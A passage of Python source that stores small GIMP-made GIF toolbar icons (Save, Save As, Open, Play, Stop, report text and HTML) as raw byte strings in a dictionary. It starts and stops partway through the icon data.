fc\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\xff\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x08\x8e\x00\xff\x89\x19H\xb0\xa0\x98\x7f\x08\x11\x8a\xc1\xb7\x8f\x9f\xc3\x87\xf8(\x1dL(f\x1f\xbdz\x18\xe3\xbdK\xc7\xef\\\xa5\x89\x02\xf9\xdd\xcbw\xef\xde<x\xea\xf8\xd9\xa3\x97i\xa2\x18~\xf9b\xde\xb3\'o\xddC~.\xf95\xd4\x89\xaf^<v\xea\xcc\xe1Tx\x93g=y\xef\xda\r\rYt\x1f>{\xf3\xe4-}Y\x94\x9f\xbe|\xf6\xecM\xad\xaa3&\xbe\xad\x0f\xf7\x89\xd5\xa7\x0f\xdf\xd7\x9ca\xf7\x91]\x0b6\xadX\xb1m\xb9:t\x99O\xae\xc3|.\r\xea\x1d\xf8/ \x00;'
self.b64["Save"] = b'GIF89a\x10\x00\x10\x00\xe7\x98\x001`\xa61`\xa71`\xa81a\xa82a\xa82a\xa92a\xaa2b\xaa2b\xab2c\xac3c\xad3d\xae3d\xaf3e\xb04e\xb14f\xb24f\xb34g\xb45h\xb55h\xb65h\xb75i\xb75i\xb85i\xb95j\xba6j\xba6j\xbb6k\xbb6k\xbc7k\xba8k\xbb8l\xbb9l\xbc:m\xbb;n\xbd>p\xbb^\x89\xc9d\x8c\xc8e\x8c\xc8e\x8d\xc9e\x8d\xcaf\x8d\xc9g\x8e\xc9i\x90\xcah\x90\xcdl\x92\xcbm\x92\xcbj\x93\xcfm\x96\xd3p\x99\xd6y\x98\xc7q\x99\xd8r\x9b\xd9|\x9a\xc8s\x9b\xd9s\x9b\xdar\x9c\xdb|\x9b\xc9t\x9c\xdat\x9d\xdct\x9e\xddu\x9e\xdev\x9f\xddv\x9f\xdew\x9f\xde\x81\x9e\xccw\xa0\xdew\xa0\xdfx\xa1\xe0x\xa2\xe0y\xa2\xe1z\xa2\xe0z\xa2\xe1z\xa2\xe2z\xa3\xe1z\xa3\xe2z\xa3\xe3{\xa3\xe1{\xa3\xe2\x84\xa3\xcez\xa4\xe3{\xa4\xe2{\xa4\xe3}\xa6\xe6}\xa7\xe7~\xa8\xe7~\xa8\xe8\x8a\xa7\xd2\x80\xaa\xe9\x8e\xab\xd5\x95\xb0\xda\x88\xc0b\x9a\xb5\xdd\x9f\xba\xe1\xa4\xbe\xe4\xa9\xc2\xe7\xad\xc5\xea\xad\xc6\xeb\xb3\xca\xed\xb6\xcc\xee\xb8\xce\xef\xba\xd0\xee\xbb\xd0\xef\xbd\xd0\xec\xbe\xd2\xf0\xc3\xd5\xef\xc2\xd5\xf2\xc2\xdc\xbf\xc5\xd8\xf2\xc7\xd9\xf4\xc9\xdc\xf4\xcc\xdd\xf5\xd0\xdf\xf6\xd1\xdf\xf6\xd1\xe0\xf6\xd1\xe0\xf7\xd8\xe5\xf6\xd9\xe5\xf7\xdb\xe6\xf7\xdb\xe7\xf7\xdb\xe7\xf8\xdd\xe8\xf8\xdf\xe9\xf8\xdf\xe9\xf9\xe1\xec\xf9\xe2\xec\xf9\xe3\xed\xf9\xe5\xed\xfa\xe8\xf0\xfa\xe9\xf0\xfa\xea\xf0\xfa\xe9\xf1\xfa\xea\xf1\xfb\xeb\xf1\xfb\xed\xf2\xfb\xee\xf3\xfb\xee\xf4\xfb\xee\xf4\xfc\xef\xf4\xfc\xf0\xf5\xfc\xf1\xf6\xfc\xf2\xf6\xfc\xf3\xf7\xfd\xf3\xf8\xfd\xf6\xf9\xfd\xf6\xfa\xfd\xf6\xfa\xfe\xf7\xfa\xfd\xf7\xfa\xfe\xf8\xfa\xfe\xf7\xfb\xfe\xf8\xfb\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\xff\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x08\xfe\x00\xffq\x18\xc8a\xc3\x06\r\x1a@\x88\x08\xe1a\xc4?\x81r\xe6\\\xb2\x04i\x91 C\x90&\x15\xd2s\x86\x84\xc08X$E*q\x88P\xa3K\x8c\xfa\xe0)sf\x04\x078V\x181*1\x08\xd1$H\x80\xf2\xd8Q\x92\xa6\x02\x877U\x00\x01J\x11\xe8Q%E{\xee\xd4)\xf2e\xc2\x067T\xf8\xf0\xf1\x93h\x92\xa3?J\xe9\x08\xf1\x12aC\x9b)%N\xa8h\xe1b\x85\x89\x12hut\x81\xa0\x81\x8d\x14&P\xa28ibd\xc8\x0f\x1e8vpq\xa0A\r\x13&N\x9cD1BDH\x8f\x1d7lha\xa0\x01\xcd\x92%J\xe6\x12\x01\xe2c\x07\x8d\x191\xb2(\xc8`&\xc9\xa5\xcf\xa0C\xc3\xb8\x82\xc0\x03\x19#\x94\xb6\xa8^\xad\x1a\xd2\x8b\'\x06>\x8cABi\x8d\xed\xdb\xb6!\xb1\x08B\xa0\x83\x98#\xa9Y\xaf\x86\x84"G\x00\x0ca\xc0\x84^~\xa9\x86\x8c\x00\x19.X\xa0 !\xc2\x83\x06\x0b\x12\x1c( \x00\x80\x01\x01\x01\x00;'
self.b64["SaveAs"] = b'GIF89a\x10\x00\x10\x00\xc6u\x00._\xa63h\xba:i\xaa>j\xabDm\xabDp\xb0W~\xbbQ\x7f\xc3S\x7f\xc1S\x80\xc5T\x81\xc4U\x83\xc6X\x84\xc3]\x84\xbf[\x86\xc7]\x88\xc8_\x89\xc9`\x89\xc9a\x8a\xc7a\x8b\xc9b\x8b\xc8a\x8b\xcbh\x8b\xd3e\x8d\xcae\x8d\xccl\x8b\xcdn\x8a\xd7f\x8e\xc7m\x8b\xdah\x8e\xcdl\x8d\xdci\x90\xcdp\x8f\xe1n\x93\xcco\x96\xccn\x97\xd4q\x97\xd0q\x98\xd0s\x98\xces\x99\xd1u\x99\xd1s\x9a\xd4u\x9a\xd0w\x9a\xd2w\x9b\xd2w\x9c\xd2y\x9c\xd5z\x9d\xd3{\x9c\xddw\x9e\xd9x\x9e\xd8{\x9e\xd4x\x9f\xd8y\x9f\xdby\xa0\xd9z\xa0\xd9{\xa1\xdc}\xa2\xd9|\xa3\xdb\x80\xa3\xd5}\xa3\xde\x85\xa2\xdd\x82\xa4\xd6~\xa5\xdd\x80\xa6\xdd\x81\xa7\xe1\x81\xa7\xe2\x85\xa8\xdd\x84\xbfQ\x8f\xae\xda\x84\xbfT\x8c\xaf\xe4\x96\xb2\xee\x91\xb6\xd6\x92\xb5\xe6\x97\xb6\xea\x9a\xb6\xef\x99\xb8\xea\x9c\xbc\xe0\x98\xc9o\x99\xc9q\x9e\xbc\xee\x9b\xbd\xed\xa1\xbe\xea\xa1\xbf\xea\xa1\xbf\xef\x9e\xc0\xef\xb3\xc7\xe3\xb0\xcd\xf3\xbb\xcd\xe6\xba\xce\xef\xb8\xd2\xf4\xc7\xee\x87\xc7\xee\x8c\xd7\xf4\xa2\xd7\xf6\xa2\xe6\xf0\xef\xe5\xf1\xed\xe6\xf1\xed\xe6\xf1\xef\xe8\xf3\xea\xe9\xf4\xe4\xed\xf1\xf8\xea\xf3\xf3\xed\xf5\xf3\xf2\xf6\xfb\xf1\xf8\xff\xf7\xfb\xff\xfa\xfb\xfd\xfa\xfc\xfd\xfb\xfc\xfd\xfb\xfc\xfe\xff\xff\xdd\xff\xff\xe0\xfc\xfd\xfe\xfd\xfd\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\x7f\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x07\xb2\x80\x7f\x82\x83\x84\x85\x82#3%>\x1d\x1f*\'\x14\x86\x7f\x18XuWu\x97uT\x11\x86\x0eV9/;E+,-$\x90\x84\x0fU([uYtuif\x9a\x84\x17M\x10R\x88\x8a\x8c\x8e\xa7\x7f\x13J\x15Q\x93\x95\x98\x99\x9b\x7f\nK&S\x9du!\x97kjG\x12\x82\x07L"I\xa9mosrlnC\x08\x82\x0bZ\x1bN\xb5?@:7642\r\x82\x01\x0c\tH\xbfBA<851)\x06\x84\xe4\xc9\xce\x88\x19\x03&\x0c\x1a\x17\x05\x08\xc9\xb3F\x86\xc8\x13(F\xca\xc0\x10`\x88\x1c\x1c.^\xbet\x89\xd3c\x80!y\x16@x\xe0\xa0!\x03\x01\x00\x91R\n\n\x04\x00;'
self.b64["Open"] = b'GIF89a\x10\x00\x10\x00\xe7\x87\x00\xb6\x83I\xba\x8aP\xd8\x87-\xbc\x8cT\xd8\x88-\xd9\x8e3\xc8\x95^\xda\x945\xc9\x98b\xda\x9a6\x97\xa3\xb6\x99\xa3\xb2\xda\xa16\xda\xa67\xd4\xa7G\xda\xaa6\xda\xab5\xda\xab6\xda\xae4\xda\xaf5\xda\xaf6\xb5\xaf\xa8\xb2\xb3\xa7\xda\xb36\x9a\xb6\xd9\xd9\xb44\xdb\xb6<\x9b\xba\xdf\x9e\xbd\xe0\xd3\xb8\x9c\xa4\xc1\xe4\xde\xb9\x92\xa8\xc2\xe0\xa7\xc4\xe5\xa8\xc4\xe5\xe1\xc2^\xa9\xc5\xe6\xb3\xc6\xc8\xaa\xc6\xe6\xe2\xc3_\xe2\xc3`\xab\xc6\xe6\xe9\xc1s\xe3\xc7k\xe4\xc7k\xe5\xcat\xb4\xcd\xe9\xed\xcaj\xea\xcbl\xba\xcf\xe2\xe6\xcdy\xb8\xd0\xeb\xb3\xd1\xf3\xd3\xd2\xa3\xee\xcfr\xee\xcfv\xee\xce\x88\xef\xd0z\xd4\xd4\xa9\xef\xd2\x80\xef\xd3\x85\xbd\xd8\xf3\xf2\xd5\x81\xef\xd4\x94\xc1\xda\xf4\xf3\xd7\x86\xf5\xdac\xf3\xd8\x8e\xc4\xdc\xf4\xc9\xdc\xf2\xc6\xdd\xf4\xc9\xdd\xf2\xc5\xde\xf5\xf3\xda\x96\xc6\xde\xf5\xf6\xder\xf6\xdev\xf4\xdc\x93\xf4\xdb\x9e\xc7\xe0\xf7\xca\xe0\xf6\xf5\xde\x91\xf5\xde\x94\xf4\xdd\xa7\xcb\xe2\xf8\xf7\xe1\x81\xcd\xe2\xf8\xcc\xe3\xf8\xf7\xe2\x85\xf5\xe0\x9f\xce\xe3\xf8\xf7\xe3\x8b\xf6\xe1\xac\xf8\xe4\x8e\xd6\xe4\xf3\xd6\xe5\xf5\xf8\xe5\x91\xd3\xe6\xf8\xf8\xe6\x95\xdb\xe7\xf5\xf9\xe8\x9c\xf9\xe9\xa1\xf9\xe9\xa4\xdc\xea\xf8\xf6\xe9\xc9\xdf\xec\xf8\xfa\xec\xac\xfa\xed\xb3\xfb\xef\xb9\xfa\xf0\xdc\xfc\xf2\xc8\xfc\xf6\xd8\xfb\xf6\xe8\xfb\xf7\xe9\xfb\xf7\xea\xfd\xfa\xf1\xfe\xfa\xef\xfd\xfa\xf2\xfe\xfb\xee\xfe\xfb\xef\xfe\xfc\xf0\xfe\xfc\xf1\xfe\xfc\xf2\xfe\xfc\xf3\xfe\xfc\xf6\xfe\xfc\xf7\xff\xfc\xf5\xfe\xfd\xf4\xff\xfd\xf6\xff\xfd\xf8\xff\xfd\xfa\xfe\xfe\xfd\xff\xfe\xfd\xff\xfe\xfe\xff\xff\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\xff\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x08\xca\x00\xff\t\x1cH\xb0\xe0\xbf\x0c#P(<\xa1\xc1\xe0\xc0\x0b\x83\x0c\x15"dH\x0e\x8b\x15\x18e\xb4\x188\xa1O\x97(Y\xb8\xdc\xf9\xb3\'\xcf\x1d;\x82(\x08|0GJ\x13\x1f/`\xf0\xd8\x91\xe3\x86\x8d8\x12\x04B\x80\xf3\x03\x87\n4z\xf6\xe8\xc1s\xd2P\x04\x81\r\x0c\x05\x02\xe4g\xcf\x1b1:Jp\x08\x11\xc3\x81@\x06|\xdc\xb0QCfK\r\x17c\xd2\x1c\x99aA`\x82:k\xcc\x88\xc1\xc2\xc4\x84\x17(J\x90\x84\x01!\xf0\x00\x9d2`\xaa,\x11\xc2\xe1\x8c\x11"=\xacx\x10X\xa0\xcd\x14\'I\x86\x04\x11\xf1\x05H\x8f\x1eW0\x0c$ \x80\x80e\x02\x15\x8ahyB\x85\xc6\x02\x87\x04S\x90\xd8\xa0\xa0\x83\x01\xd0\x06\x11|\x00\x80\xba\xe0\x80\x00\xad\r\x06\x04\x00;'
self.b64["Play"] = b'GIF89a\x10\x00\x10\x00\xa56\x00\x14A\xb7\x15E\xb9\x16J\xbd\x16N\xc0\x17P\xbd\x18S\xc0\x18Y\xc4\x19Y\xc6\x1ab\xc6\x1ab\xc9#n\xcd,r\xcd;q\xcc<t\xcf5w\xd2=w\xd0?z\xd0C\x7f\xd3C\x84\xd6G\x84\xd6K\x88\xd6S\x8e\xdb`\x95\xdda\x97\xddb\x97\xe1n\xa0\xe2r\xa1\xdft\xa2\xe2t\xa3\xe0u\xa3\xdfu\xa4\xe3w\xa4\xe0y\xa6\xe0y\xa7\xe6~\xa8\xe1|\xa9\xe1|\xa9\xe8~\xa9\xe8\x80\xaa\xe3\x81\xab\xe2\x81\xab\xe3\x80\xab\xe8\x80\xab\xea\x87\xaf\xe4\x87\xb0\xe8\x8a\xb1\xe4\x90\xb5\xe7\x92\xb7\xe8\x99\xbb\xe9\x99\xbb\xea\xa1\xc1\xec\xa3\xc2\xed\xa8\xc7\xee\xad\xc8\xef\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00?\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x06K\xc0\x9fpH,\x1a\x8f\xc8T\tiT\x916Lb\xa8\xc6\xb2D\x85\x19\xda\xcc3\xb9bd/\xd8e\x11\xad\xc4L\xa8\x16\x05\xc1\x94\xb88\x9fS\xe4\xc0t\xac4#H!\xaa\x10\x81\x1e\x04W\t\x1d\r\x02W?\x06\x0c\x01\x87?\x03\x00\x8c\x90\x91A\x00;'
self.b64["Stop"] = b'GIF89a\x10\x00\x10\x00\xe7\x84\x00\xd5>5\xd8G>\xd7H@\xd8H@\xfaB%\xd9KC\xd9KD\xfdF(\xdaOG\xfeI,\xffK,\xdbUM\xffO0\xffO1\xffP2\xffP3\xddYQ\xdc[S\xffU7\xde^T\xffY;\xffY<\xffZ<\xdebZ\xff\\?\xff^@\xff^A\xf9`H\xffcF\xe0jc\xffdF\xfdeJ\xe0le\xe4lc\xffgH\xffgN\xffiK\xffnO\xffnP\xffoP\xe4ul\xffpO\xe3xq\xffsU\xfftU\xfftZ\xffxY\xffyZ\xe7\x81y\xff~_\xff~`\xff\x7f_\xe5\x84}\xff\x80`\xff\x81g\xff\x83e\xe6\x8a\x85\xe8\x8b\x83\xff\x89i\xf2\x8b}\xf7\x8d}\xe7\x91\x8b\xff\x8dm\xff\x8en\xfa\x8e}\xff\x8eo\xff\x8fs\xea\x93\x8c\xff\x90o\xfc\x90\x7f\xf4\x94\x86\xff\x93s\xff\x93t\xfa\x93\x84\xff\x93x\xe9\x97\x92\xe9\x98\x92\xf6\x96\x89\xff\x95\x84\xea\x9a\x95\xfa\x97\x89\xff\x98v\xff\x98x\xff\x99x\xff\x99\x87\xea\x9e\x98\xff\x9b\x8a\xed\x9f\x98\xff\x9d|\xeb\xa0\x9b\xff\x9e|\xeb\xa2\x9d\xff\xa0}\xff\xa0~\xeb\xa3\x9e\xff\xa1\x85\xff\xa2\x81\xec\xa5\xa0\xff\xa1\x90\xff\xa5\x81\xfa\xa5\x96\xff\xa7\x84\xff\xa7\x85\xff\xaa\x86\xef\xac\xa5\xee\xad\xa6\xff\xab\x89\xff\xaa\x98\xfb\xad\x9e\xfb\xad\x9f\xff\xae\x91\xff\xaf\x8b\xf0\xb1\xa9\xfc\xb2\xa2\xfb\xba\xac\xff\xbb\x9c\xff\xbb\xa6\xff\xbf\xa0\xff\xbe\xab\xff\xc2\xa3\xfb\xc3\xb4\xff\xc4\xb1\xfc\xc8\xb7\xfc\xcd\xbc\xff\xcd\xb8\xff\xce\xb9\xff\xcf\xbb\xfc\xd1\xc1\xff\xd1\xbd\xfc\xd3\xc2\xfc\xd4\xc4\xff\xd6\xc1\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\xff\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x08\xc6\x00\xff\t\x1cH\xb0\xa0A/a\xb6d\xa9\xb2\xc4\xe0@8\x81\x06\x01\xf2\xd3G\xcf\x15\x87i\x04\xddy\xa3\xa6L\x177x\x86\x14D\xf3\xa7\xce\x193`\xb0H!\xf2EN\x8e\x81O\xf6\xcc\x19\x03F\xcb\x14$At\xd4P\xc2\x06\x84@&|\xb8`\x99r\xe4\x87\x8e\x1b2\\\xa4X\xd3A`\x8f<Q\x8a\x1e\x8d\xf1bE\t\x11b.\x08\xc4a\xc7\xc7\xd4\x17,N\x90\xe0\x80\xc1J\x04\x814\xe8\xcc\xa0\xba\xc2\x04\t\x0f\x1a(4\xa0\xb2@\xa0\x8a8BR\x94x\xab\xc1\x82\x04\x05#\x92\x0c\x18\x08\xa3\x8d\x8d\x0c\x19*Hxp\xe0C\x93\t\x05Q\x90i\xe1\x80A\x02\x02\x1b\x8c@p\x18\x02\x8a\x93"@x\xec\xd8\xec\xf0\x9f\x01\x04\x05\x04\x04\x00P\xba5\xc1\x80\x00;'
self.b64["report_text"] = b'GIF89a\x10\x00\x10\x00\xc6\\\x00~1\x18\xabB!\xacC!\xaeF"\xaeI"\xa5K,\xafK#\xb1N#\xb2Q$\xb2R%\xb4U%\xb5V&\xb7Y&\xb7[&\xaf]5\xb8^\'\xb8_\'\xbaa(\xbexI\xb3yc\xb3|d\xb5\x7fe\xb5\x82f\xb7\x83gj\x93\xd4\xb9\x87gj\x98\xd9\xc2\x8bdk\x99\xdan\x9a\xdc\xbf\x8fao\x9b\xdcr\x9c\xdcq\x9d\xdd\xc1\x92cq\x9e\xdfs\x9e\xdf\xc2\x94ds\x9f\xe0t\xa0\xe0v\xa0\xe0\xc3\x96ev\xa2\xe0w\xa3\xe1x\xa3\xe1\xc4\x99f\xc5\x9agz\xa5\xe1\xa0\xbe\xea\xa1\xbf\xea\xa2\xc0\xea\xa3\xc0\xea\xca\xc6\xc4\xcc\xc6\xc0\xc7\xc7\xc7\xcd\xc6\xc0\xca\xc7\xc4\xcd\xc7\xc0\xcd\xc7\xc1\xc9\xc9\xc9\xca\xca\xca\xcb\xcb\xcb\xcc\xcc\xcc\xcd\xcd\xcd\xd1\xd1\xd1\xd2\xd2\xd2\xd3\xd3\xd3\xd4\xd4\xd4\xd5\xd5\xd5\xd8\xd8\xd8\xdc\xdc\xdc\xe6\xe6\xe6\xe8\xe8\xe8\xe9\xe9\xe9\xea\xea\xea\xec\xec\xec\xed\xed\xed\xee\xee\xee\xf0\xf0\xf0\xf1\xf1\xf1\xf2\xf2\xf2\xf3\xf3\xf3\xf4\xf4\xf4\xf5\xf5\xf5\xf6\xf6\xf6\xf7\xf7\xf7\xf8\xf8\xf8\xf9\xf9\xf9\xfa\xfa\xfa\xfb\xfb\xfb\xfc\xfc\xfc\xfd\xfd\xfd\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff!\xfe\x11Created with GIMP\x00!\xf9\x04\x01\n\x00\x7f\x00,\x00\x00\x00\x00\x10\x00\x10\x00\x00\x07\xbf\x80\x7f\x7f\x1b\x12\x11\x82\x87\x88\x87>8:\x10Z\x8f\x90\x91\x87\x19.\x0fU\x97USR\x9bPY\x82\x8b9\r\x98\x97S\xa5QX\x87\x17-\x0cVV/,+*(\'R\xa8\x7f>49\x0bWW,3210#RU\x87\x16)\nXX\xb2\'$ \x1fPT\x9f\xb9\tYX\xadVUQPNM\x87\x15%\x08\xd7&!\x1d\x1c\x1a\x18JK\xd37\x07XW\xd9T\xcaXP@\x87\x14"\x06\xbcWT\xa7\xf4;H\xa6\xd5 \xa0\xcc\x8a\x94\'Y\xa0\xf08\xa2\xe5\xd0\x04\x0f\x03\x94\xf5k\x12ea\x96\x86\xb7h\xd4\x10\xb0%\x8bA&D\x92p\x19y\xa8\x80\x83\x00F\x8a\x0c\t\x02D\x08\x90\x1e?l \x02\x90\xa8\xe6\x9f@\x00;'
self.b64["report_html"] = b'GIF89a\x10\x00\x10\x00\xe7\x86\x00~1\x18\xabB!\xacC!\xaeF"\xaeI"\xa5K,\xafK#\x1e{\x03!|\x00\xb1N#\xb2Q$%\x7f\x00\xb2R%\xb4U%\xb5V&\xb7Y&1\x83\x15\xb7[&2\x86\t\xaf]53\x87\x15\xb8^\'6\x88\t\xb8_\'4\x89\x18\xbaa(<\x8b\x10D\x8f\x16F\x90\x19J\x91\x1cR\x97"W\x98(\xbexI\xb3yc[\x9b)\xb3|d\xb5\x7feb\x9e1^\x9f:c\x9f1\\\xa0<e\x9f1c\x9f8\xb5\x82f\xb7\x83g_\xa1Ch\xa25b\xa3Fk\xa37\xb9\x87gn\xa49f\xa5Hh\xa5Fo\xa5=p\xa6?\xc2\x8bdn\x9a\xdc\xbf\x8fao\x9b\xdcr\x9c\xdcq\x9d\xdd\xc1\x92ct\xabOq\x9e\xdfs\x9e\xdf\xc2\x94ds\x9f\xe0t\xa0\xe0v\xa0\xe0\xc3\x96ev\xa2\xe0|\xafUw\xa3\xe1x\xa3\xe1\xc4\x99f\xc5\x9agz\xa5\xe1\x81\xb3Z\x80\xb3a\x82\xb5g\x85\xb6f\x85\xb6j\x89\xb8k\x8e\xbao\x90\xbct\x96\xc1\x80\x97\xc2\x82\x98\xc2\x83\x9e\xc5\x88\xa1\xc6\x8a\xa1\xc7\x8a\xa0\xbe\xea\xb1\xc0\xae\xa1\xbf\xea\xa5\xc8\x8d\xa2\xc0\xea\xa3\xc0\xea\xa9\xca\x90\xa8\xcb\x90\xaa\xcb\x91\xad\xcd\x94\xb0\xce\x96\xca\xc6\xc4\xcc\xc6\xc0\xc7\xc7\xc7\xcd\xc6\xc0\xca\xc7\xc4\xcd\xc7\xc0\xcd\xc7\xc1\xcc\xcc\xcc\xca\xce\xc8\xd1\xd1\xd1\xd2\xd2\xd2\xd4\xd4\xd4\xd8\xd8\xd8\xdc\xdc\xdc\xd9\xe9\xd5\xe5\xe7\xe3\xec\xec\xec\xee\xee\xee\xed\xef\xeb\xf0\xf0\xf0\xf2\xf2\xf2\xf3\xf3\xf3\xf4\xf4\xf4\xf5\xf5\xf5\xf6\xf6\xf6\xf7\xf7\xf7\xf8\xf8\xf8\xf9\xf9\xf9\xfa\xfa\xfa\x